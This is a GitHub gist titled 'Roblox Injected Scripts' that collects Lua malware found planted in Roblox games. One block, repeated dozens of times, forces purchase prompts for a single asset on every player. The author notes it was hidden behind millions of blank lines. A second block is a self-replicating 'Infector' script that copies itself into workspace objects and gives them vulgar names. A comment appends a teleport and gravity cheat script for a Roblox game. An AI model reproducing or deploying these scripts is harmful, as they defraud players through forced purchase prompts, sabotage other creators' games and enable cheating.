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@stungeye
Last active June 21, 2022 10:25
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Save stungeye/94f9d6ec2100fd92814ae92828d54e31 to your computer and use it in GitHub Desktop.
Roblox Injected Scripts
wait "5"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "2"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "3"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "4"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "5"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "6"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "7"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "500"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
wait "1000"
local wat= 3989501000
script.Parent=game.ServerScriptService
local market=game:GetService("MarketplaceService")
for i,v in pairs(game.Players:GetChildren()) do
if not market:PlayerOwnsAsset(v,wat) then
market:PromptPurchase(v,wat)
end
end
game.Players.PlayerAdded:connect(function(player)
if not market:PlayerOwnsAsset(player,wat) then
market:PromptPurchase(player,wat)
end
end)
-- Followed by 6.65 million blank lines. All the way to line 6653567.
model = script.Parent -- Sets the model variable to the script's parent, this way we don't have to manually set model names.
function Infector()
while true do -- Infinite loop
found = game.Workspace:FindFirstChild("Humanoid")
found2 = game.Workspace:FindFirstChild("Model")
found3 = game.Workspace:FindFirstChild("Brick")
if found ~= nil then
found.Name="SUCKMYPINGAS"
infectedscr = model.SnapReducer:Clone()
infectedscr.Parent = found
else
if found2 ~= nil then
found2.Name = "LMAO"
infectedscr2 = model.SnapReducer:Clone()
infectedscr2.Parent = found2
else
if found3 ~= nil then
found3.Name = "LOL"
infectedscr3 = model.SnapReducer:Clone()
infectedscr3.Parent = found3
else
local children = game.Workspace:GetChildren()
for c = 1, #children do
if children[c].Name ~= "SUCKMYPINGAS"
then
children[c].Name = "SUCKMYPINGAS"
infectedscr421 = model.SnapReducer:Clone()
infectedscr421.Parent = children[c]
else
end
end
end
end
end
wait(10)
end
end
Infector()
@johan123e
Copy link

--First Sea
game.Workspace.Gravity = 0
game.Players.LocalPlayer.Character.Humanoid:SetStateEnabled(15,false)
game.Players.LocalPlayer.Character.Humanoid:SetStateEnabled(16,false)

local CFrameEnd = CFrame.new(5135.92676, 4.50128937, 4049.10864, 1, -5.86619819e-08, -3.40959249e-13, 5.86619819e-08, 1, 1.73757293e-08, 3.39939963e-13, -1.73757293e-08, 1)
local Time = 36
local tween = game:GetService("TweenService"):Create(game.Players.LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(Time), {CFrame = CFrameEnd})
tween:Play()
tween.Completed:Wait(E)

-- Second Sea
game.Workspace.Gravity = 0
game.Players.LocalPlayer.Character.Humanoid:SetStateEnabled(15,false)
game.Players.LocalPlayer.Character.Humanoid:SetStateEnabled(16,false)
local CFrameEnd = CFrame.new(88.3227386, 38.985569, 2550.61865, 0.978495598, 4.02226092e-08, -0.206267804, -3.12186046e-08, 1, 4.6906699e-08, 0.206267804, -3.94586053e-08, 0.978495598)
local Time = 35
local tween = game:GetService("TweenService"):Create(game.Players.LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(Time), {CFrame = CFrameEnd})
tween:Play()
tween.Completed:Wait(E)

local CFrameEnd = CFrame.new(game.Workspace.Enemies["Raider [Lv. 700]"].HumanoidRootPart.position)
local Time = 6
local tween = game:GetService("TweenService"):Create(game.Players.LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(Time), {CFrame = CFrameEnd})
tween:Play()
tween.Completed:Wait(E)
-- third sea
game.Workspace.Gravity = 0
game.Players.LocalPlayer.Character.Humanoid:SetStateEnabled(15,false)
game.Players.LocalPlayer.Character.Humanoid:SetStateEnabled(16,false)
local CFrameEnd = CFrame.new(-819.453186, 65.8452911, -10928.5186, -0.684880912, 8.74173907e-08, 0.72865504, 5.2806044e-08, 1, -7.03371796e-08, -0.72865504, -9.69520197e-09, -0.684880912)
local Time = 40
local tween = game:GetService("TweenService"):Create(game.Players.LocalPlayer.Character.HumanoidRootPart, TweenInfo.new(Time), {CFrame = CFrameEnd})
tween:Play()
tween.Completed:Wait(E)

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